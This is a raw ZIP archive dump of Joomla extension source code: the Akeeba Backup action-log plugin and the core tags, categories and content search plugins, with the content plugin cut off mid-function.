PK�(]�/���*�*'actionlog/akeebabackup/akeebabackup.phpnu�[���<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Plugin\CMSPlugin;

defined('_JEXEC') || die();

class plgActionlogAkeebabackup extends CMSPlugin
{
	/** @var Container */
	private $container;

	/**
	 * Constructor
	 *
	 * @param   object  $subject  The object to observe
	 * @param   array   $config   An array that holds the plugin configuration
	 *
	 * @since       6.4.0
	 */
	public function __construct(&$subject, $config)
	{
		// Make sure Akeeba Backup is installed
		if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
		{
			return;
		}

		// Make sure Akeeba Backup is enabled
		if (!ComponentHelper::isEnabled('com_akeeba'))
		{
			return;
		}

		// Load FOF
		if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
		{
			return;
		}

		$this->container = Container::getInstance('com_akeeba');

		// No point in logging guest actions
		if ($this->container->platform->getUser()->guest)
		{
			return;
		}

		// If any of the above statement returned, our plugin is not attached to the subject, so it's basically disabled
		parent::__construct($subject, $config);
	}

	/**
	 * Logs the creation of a new backup profile
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Profiles  $controller
	 * @param   array                                     $data
	 * @param   int                                       $id
	 */
	public function onComAkeebaControllerProfilesAfterApplySave($controller, $data, $id)
	{
		// If I have an ID in the request and it's the same of the model, I'm just editing a record
		if (isset($data['id']) && $data['id'] == $id)
		{
			return;
		}

		$profile_title = $data['description'];

		$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_ADD', 'com_akeeba');
	}

	/**
	 * Logs deletion of a backup profile
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Profiles  $controller
	 */
	public function onComAkeebaControllerProfilesAfterRemove($controller)
	{
		$ids           = $controller->input->get('cid', [], 'array', 2);
		$profile_title = '# ' . implode(', ', $ids);

		$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_DELETE', 'com_akeeba');
	}

	/**
	 * Log configuration edit (apply)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterApply($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log configuration edit (save and close)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterSave($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log configuration edit (save and new)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterSavenew($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log starting a new backup
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Backup  $controller
	 */
	public function onComAkeebaControllerBackupBeforeAjax($controller)
	{
		$ajaxTask = $this->container->input->get('ajax', '', 'cmd');

		// Log only starting the backup
		if ($ajaxTask != 'start')
		{
			return;
		}

		$profile_id = $this->container->platform->getSessionVar('profile', -10, 'akeeba');

		if ($profile_id < 1)
		{
			return;
		}

		$profile_id = '#' . $profile_id;

		$this->container->platform->logUserAction($profile_id, 'COM_AKEEBA_LOGS_BACKUP_RUN', 'com_akeeba');
	}

	/**
	 * Log downloading a backup using Joomla interface
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeDownload($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_MANAGE_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Logs deleting backup files
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeDeletefiles($controller)
	{
		$ids = $this->getIDsFromRequest();

		foreach ($ids as $id)
		{
			$this->container->platform->logUserAction('ID: ' . $id, 'COM_AKEEBA_LOGS_MANAGE_DELETEFILES', 'com_akeeba');
		}
	}

	/**
	 * Logs deleting backup stat entry
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeRemove($controller)
	{
		$ids = $this->getIDsFromRequest();

		foreach ($ids as $id)
		{
			$this->container->platform->logUserAction($id, 'COM_AKEEBA_LOGS_MANAGE_DELETE', 'com_akeeba');
		}
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDlfromremote($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives back to the server
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDltoserver($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);
		$frag = $this->container->input->getInt('frag', -1);

		// Log only the first step
		if ($frag > -1 || $part > -1)
		{
			return;
		}

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_FETCH', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDelete($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DELETE', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Upload  $controller
	 */
	public function onComAkeebaControllerUploadBeforeStart($controller)
	{
		$id = $this->container->input->getInt('id');

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_UPLOADS_ADD', 'com_akeeba');
	}

	/**
	 * Log starting a site transfer wizard (connections valid, just before starting to actually transfer files)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Transfer  $controller
	 */
	public function onComAkeebaControllerTransferBeforeUpload($controller)
	{
		$start = $this->container->input->getBool('start', false);

		if (!$start)
		{
			return;
		}

		$title = $this->container->platform->getSessionVar('transfer.url', '', 'akeeba');

		if (!$title)
		{
			return;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_TRANSFER_RUN', 'com_akeeba');
	}

	/**
	 * Logs downloading a backup log
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Log  $controller
	 */
	public function onComAkeebaControllerLogBeforeDownload($controller)
	{
		$tag = $this->container->input->get('tag', null, 'cmd');;

		$this->container->platform->logUserAction($tag, 'COM_AKEEBA_LOGS_LOG_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Log importing a backup archive
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Discover  $controller
	 */
	public function onComAkeebaControllerDiscoverBeforeImport($controller)
	{
		$files = $this->container->input->get('files', [], 'array');

		foreach ($files as $file)
		{
			$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_DISCOVER_IMPORT', 'com_akeeba');
		}
	}

	/**
	 * Log importing a backup archive from S3
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Discover  $controller
	 */
	public function onComAkeebaControllerS3ImportBeforeDltoserver($controller)
	{
		$file = $this->container->input->get('file', '', 'string');

		// Log only the initial download step
		$part = $this->container->input->getInt('part', -1);
		$frag = $this->container->input->getInt('frag', -1);
		$step = $this->container->input->getInt('step', -1);

		if ($part > -1 || $frag > -1 || $step > -1)
		{
			return;
		}

		$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_S3IMPORT_IMPORT', 'com_akeeba');
	}

	private function logConfigurationChange()
	{
		$profileName = $this->container->input->getString('profilename', null);

		$this->container->platform->logUserAction('"' . $profileName . '"', 'COM_AKEEBA_LOGS_CONFIGURATION_EDIT', 'com_akeeba');
	}

	/**
	 * Gets the list of IDs from the request data
	 *
	 * @return array
	 */
	private function getIDsFromRequest()
	{
		// Get the ID or list of IDs from the request or the configuration
		$cid = $this->container->input->get('cid', [], 'array');
		$id  = $this->container->input->getInt('id', 0);

		$ids = [];

		if (is_array($cid) && !empty($cid))
		{
			$ids = $cid;
		}
		elseif (!empty($id))
		{
			$ids = [$id];
		}

		return $ids;
	}
}
PK�(]ԥpE��'actionlog/akeebabackup/akeebabackup.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="3.9.0" type="plugin" group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_AKEEBABACKUP</name>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>https://www.akeeba.com</authorUrl>
	<copyright>Copyright (c)2006-2023 Nicholas K. Dionysopoulos</copyright>
	<license>GNU General Public License version 3, or later</license>
	<creationDate>2023-05-26</creationDate>
	<version>8.3.1</version>
	<description>PLG_ACTIONLOG_AKEEBABACKUP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="akeebabackup">akeebabackup.php</filename>
		<filename>.htaccess</filename>
		<filename>web.config</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_actionlog_akeebabackup.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_actionlog_akeebabackup.sys.ini</language>
	</languages>

	<scriptfile>script.php</scriptfile>
</extension>PK�(]�8���search/tags/tags.phpnu�[���<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Search.tags
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Tags search plugin.
 *
 * @since  3.3
 */
class PlgSearchTags extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.3
	 */
	protected $autoloadLanguage = true;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   3.3
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'tags' => 'PLG_SEARCH_TAGS_TAGS'
		);

		return $areas;
	}

	/**
	 * Search content (tags).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   string  $areas     An array if the search is to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   3.3
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);
		$app   = JFactory::getApplication();
		$user  = JFactory::getUser();
		$lang  = JFactory::getLanguage();

		$section = JText::_('PLG_SEARCH_TAGS_TAGS');
		$limit   = $this->params->def('search_limit', 50);

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		$text = $db->quote('%' . $db->escape($text, true) . '%', false);

		switch ($ordering)
		{
			case 'alpha':
				$order = 'a.title ASC';
				break;

			case 'newest':
				$order = 'a.created_time DESC';
				break;

			case 'oldest':
				$order = 'a.created_time ASC';
				break;

			case 'popular':
			default:
				$order = 'a.title DESC';
		}

		$query->select('a.id, a.title, a.alias, a.note, a.published, a.access'
			. ', a.checked_out, a.checked_out_time, a.created_user_id'
			. ', a.path, a.parent_id, a.level, a.lft, a.rgt'
			. ', a.language, a.created_time AS created, a.description');

		$case_when_item_alias  = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id                  = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias);

		$query->from('#__tags AS a');
		$query->where('a.alias <> ' . $db->quote('root'));

		$query->where('(a.title LIKE ' . $text . ' OR a.alias LIKE ' . $text . ')');

		$query->where($db->qn('a.published') . ' = 1');

		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}

		if ($app->isClient('site') && JLanguageMultilang::isEnabled())
		{
			$tag = JFactory::getLanguage()->getTag();
			$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
		}

		$query->order($order);

		$db->setQuery($query, 0, $limit);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		if ($rows)
		{
			JLoader::register('TagsHelperRoute', JPATH_SITE . '/components/com_tags/helpers/route.php');

			foreach ($rows as $key => $row)
			{
				$rows[$key]->href       = TagsHelperRoute::getTagRoute($row->slug);
				$rows[$key]->text       = ($row->description !== '' ? $row->description : $row->title);
				$rows[$key]->text      .= $row->note;
				$rows[$key]->section    = $section;
				$rows[$key]->created    = $row->created;
				$rows[$key]->browsernav = 0;
			}
		}

		if (!$this->params->get('show_tagged_items', 0))
		{
			return $rows;
		}
		else
		{
			$final_items = $rows;
			JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_tags/models');
			$tag_model = JModelLegacy::getInstance('Tag', 'TagsModel');
			$tag_model->getState();

			foreach ($rows as $key => $row)
			{
				$tag_model->setState('tag.id', $row->id);
				$tagged_items = $tag_model->getItems();

				if ($tagged_items)
				{
					foreach ($tagged_items as $k => $item)
					{
						// For 3rd party extensions we need to load the component strings from its sys.ini file
						$parts = explode('.', $item->type_alias);
						$comp = array_shift($parts);
						$lang->load($comp, JPATH_SITE, null, false, true)
						|| $lang->load($comp, JPATH_SITE . '/components/' . $comp, null, false, true);

						// Making up the type string
						$type = implode('_', $parts);
						$type = $comp . '_CONTENT_TYPE_' . $type;

						$new_item        = new stdClass;
						$new_item->href  = $item->link;
						$new_item->title = $item->core_title;
						$new_item->text  = $item->core_body;

						if ($lang->hasKey($type))
						{
							$new_item->section = JText::sprintf('PLG_SEARCH_TAGS_ITEM_TAGGED_WITH', JText::_($type), $row->title);
						}
						else
						{
							$new_item->section = JText::sprintf('PLG_SEARCH_TAGS_ITEM_TAGGED_WITH', $item->content_type_title, $row->title);
						}

						$new_item->created    = $item->displayDate;
						$new_item->browsernav = 0;
						$final_items[]        = $new_item;
					}
				}
			}

			return $final_items;
		}
	}
}
PK�(]�$?B��search/tags/tags.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_tags</name>
	<author>Joomla! Project</author>
	<creationDate>March 2014</creationDate>
	<copyright>(C) 2014 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_TAGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="tags">tags.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_tags.ini</language>
		<language tag="en-GB">en-GB.plg_search_tags.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL"
					description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="show_tagged_items"
					type="radio"
					label="PLG_SEARCH_TAGS_FIELD_SHOW_TAGGED_ITEMS_LABEL"
					description="PLG_SEARCH_TAGS_FIELD_SHOW_TAGGED_ITEMS_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�i��� search/categories/categories.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Search.categories
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Categories search plugin.
 *
 * @since  1.6
 */
class PlgSearchCategories extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'categories' => 'PLG_SEARCH_CATEGORIES_CATEGORIES'
		);

		return $areas;
	}

	/**
	 * Search content (categories).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search is to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db = JFactory::getDbo();
		$user = JFactory::getUser();
		$app = JFactory::getApplication();
		$groups = implode(',', $user->getAuthorisedViewLevels());
		$searchText = $text;

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$sContent = $this->params->get('search_content', 1);
		$sArchived = $this->params->get('search_archived', 1);
		$limit = $this->params->def('search_limit', 50);
		$state = array();

		if ($sContent)
		{
			$state[] = 1;
		}

		if ($sArchived)
		{
			$state[] = 2;
		}

		if (empty($state))
		{
			return array();
		}

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		/* TODO: The $where variable does not seem to be used at all
		switch ($phrase)
		{
			case 'exact':
				$text = $db->quote('%' . $db->escape($text, true) . '%', false);
				$wheres2 = array();
				$wheres2[] = 'a.title LIKE ' . $text;
				$wheres2[] = 'a.description LIKE ' . $text;
				$where = '(' . implode(') OR (', $wheres2) . ')';
				break;

			case 'any':
			case 'all';
			default:
				$words = explode(' ', $text);
				$wheres = array();
				foreach ($words as $word)
				{
					$word = $db->quote('%' . $db->escape($word, true) . '%', false);
					$wheres2 = array();
					$wheres2[] = 'a.title LIKE ' . $word;
					$wheres2[] = 'a.description LIKE ' . $word;
					$wheres[] = implode(' OR ', $wheres2);
				}
				$where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
				break;
		}
		*/

		switch ($ordering)
		{
			case 'alpha':
				$order = 'a.title ASC';
				break;

			case 'category':
			case 'popular':
			case 'newest':
			case 'oldest':
			default:
				$order = 'a.title DESC';
		}

		$text = $db->quote('%' . $db->escape($text, true) . '%', false);
		$query = $db->getQuery(true);

		// SQLSRV changes.
		$case_when = ' CASE WHEN ';
		$case_when .= $query->charLength('a.alias', '!=', '0');
		$case_when .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $a_id . ' END as slug';
		$query->select('a.title, a.description AS text, a.created_time AS created, \'2\' AS browsernav, a.id AS catid, ' . $case_when)
			->from('#__categories AS a')
			->where(
				'(a.title LIKE ' . $text . ' OR a.description LIKE ' . $text . ') AND a.published IN (' . implode(',', $state) . ') AND a.extension = '
				. $db->quote('com_content') . 'AND a.access IN (' . $groups . ')'
			)
			->group('a.id, a.title, a.description, a.alias, a.created_time')
			->order($order);

		if ($app->isClient('site') && JLanguageMultilang::isEnabled())
		{
			$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query, 0, $limit);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		$return = array();

		if ($rows)
		{
			foreach ($rows as $i => $row)
			{
				if (searchHelper::checkNoHtml($row, $searchText, array('name', 'title', 'text')))
				{
					$row->href = ContentHelperRoute::getCategoryRoute($row->slug);
					$row->section = JText::_('JCATEGORY');

					$return[] = $row;
				}
			}
		}

		return $return;
	}
}
PK�(]6\}��� search/categories/categories.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_categories</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_CATEGORIES_XML_DESCRIPTION</description>
	<files>
		<filename plugin="categories">categories.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_categories.ini</language>
		<language tag="en-GB">en-GB.plg_search_categories.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL"
					description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="search_content"
					type="radio"
					label="JFIELD_PLG_SEARCH_ALL_LABEL"
					description="JFIELD_PLG_SEARCH_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="search_archived"
					type="radio"
					label="JFIELD_PLG_SEARCH_ARCHIVED_LABEL"
					description="JFIELD_PLG_SEARCH_ARCHIVED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>

		</fields>
	</config>
</extension>
PK�(]	�~�44search/content/content.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content search plugin.
 *
 * @since  1.6
 */
class PlgSearchContent extends JPlugin
{
	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'content' => 'JGLOBAL_ARTICLES'
		);

		return $areas;
	}

	/**
	 * Search content (articles).
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db         = JFactory::getDbo();
		$serverType = $db->getServerType();
		$app        = JFactory::getApplication();
		$user       = JFactory::getUser();
		$groups     = implode(',', $user->getAuthorisedViewLevels());
		$tag        = JFactory::getLanguage()->getTag();

		JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');
		JLoader::register('SearchHelper', JPATH_ADMINISTRATOR . '/components/com_search/helpers/search.php');

		$searchText = $text;

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$sContent  = $this->params->get('search_content', 1);
		$sArchived = $this->params->get('search_archived', 1);
		$limit     = $this->params->def('search_limit', 50);

		$nullDate  = $db->getNullDate();
		$date      = JFactory::getDate();
		$now       = $date->toSql();

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		switch ($phrase)
		{
			case 'exact':
				$text      = $db->quote('%' . $db->escape($text, true) . '%', false);
				$wheres2   = array();
				$wheres2[] = 'a.title LIKE ' . $text;
				$wheres2[] = 'a.introtext LIKE ' . $text;
				$wheres2[] = 'a.fulltext LIKE ' . $text;
				$wheres2[] = 'a.metakey LIKE ' . $text;
				$wheres2[] = 'a.metadesc LIKE ' . $text;

				$relevance[] = ' CASE WHEN ' . $wheres2[0] . ' THEN 5 ELSE 0 END ';

				// Join over Fields.
				$subQuery = $db->getQuery(true);
				$subQuery->select("cfv.item_id")
					->from("#__fields_values AS cfv")
					->join('LEFT', '#__fields AS f ON f.id = cfv.field_id')
					->where('(f.context IS NULL OR f.context = ' . $db->q('com_content.article') . ')')
					->where('(f.state IS NULL OR f.state = 1)')
					->where('(f.access IS NULL OR f.access IN (' . $groups . '))')
					->where('cfv.value LIKE ' . $text);

				// Filter by language.
				if ($app->isClient('site') && JLanguageMultilang::isEnabled())
				{
					$subQuery->where('(f.language IS NULL OR f.language in (' . $db->quote($tag) . ',' . $db->quote('*') . '))');
				}

				if ($serverType == "mysql")
				{
					/* This generates a dependent sub-query so do no use in MySQL prior to version 6.0 !
					* $wheres2[] = 'a.id IN( '. (string) $subQuery.')';
					*/

					$db->setQuery($subQuery);
					$fieldids = $db->loadColumn();

					if (count($fieldids))
					{
						$wheres2[] = 'a.id IN(' . implode(",", $fieldids) . ')';
					}
				}
				else
				{
					$wheres2[] = $subQuery->castAsChar('a.id') . ' IN( ' . (string) $subQuery . ')';
				}

				$where = '(' . implode(') OR (', $wheres2) . ')';
				break;

			case 'all':
			case 'any':
			default:
				$words = explode(' ', $text);
				$wheres = array();
				$cfwhere = array();

				foreach ($words as $word)
				{
					$word      = $db->quote('%' . $db->escape($word, true) . '%', false);
					$wheres2   = array();
					$wheres2[] = 'LOWER(a.title) LIKE LOWER(' . $word . ')';
					$wheres2[] = 'LOWER(a.introtext) LIKE LOWER(' . $word . ')';
					$wheres2[] = 'LOWER(a.fulltext) LIKE LOWER(' . $word . ')';
					$wheres2[] = 'LOWER(a.metakey) LIKE LOWER(' . $word . ')';
					$wheres2[] = 'LOWER(a.metadesc) LIKE LOWER(' . $word . ')';

					$relevance[] = ' CASE WHEN ' . $wheres2[0] . ' THEN 5 ELSE 0 END ';

					if ($phrase === 'all')
					{
						// Join over Fields.
						$subQuery = $db->getQuery(true);
						$subQuery->select("cfv.item_id")
							->from("#__fields_values AS cfv")
							->join('LEFT', '#__fields AS f ON f.id = cfv.field_id')
							->where('(f.context IS NULL OR f.context = ' . $db->q('com_content.article') . ')')
							->where('(f.state IS NULL OR f.state = 1)')
							->where('(f.access IS NULL OR f.access IN (' . $groups . '))')
							->where('LOWER(cfv.value) LIKE LOWER(' . $word . ')');

						// Filter by language.
						if ($app->isClient('site') && JLanguageMultilang::isEnabled())
						{
							$subQuery->where('(f.language IS NULL OR f.language in (' . $db->quote($tag) . ',' . $db->quote('*') . '))');
						}

						if ($serverType == "mysql")
						{
							$db->setQuery($subQuery);
							$fieldids = $db->loadColumn();

							if (count($fieldids))
							{
								$wheres2[] = 'a.id IN(' . implode(",", $fieldids) . ')';
							}
						}
						else
						{
							$wheres2[] = $subQuery->castAsChar('a.id') . ' IN( ' . (string) $subQuery . ')';
						}
					}
					else
					{
						$cfwhere[] = 'LOWER(cfv.value) LIKE LOWER(' . $word . ')';
					}

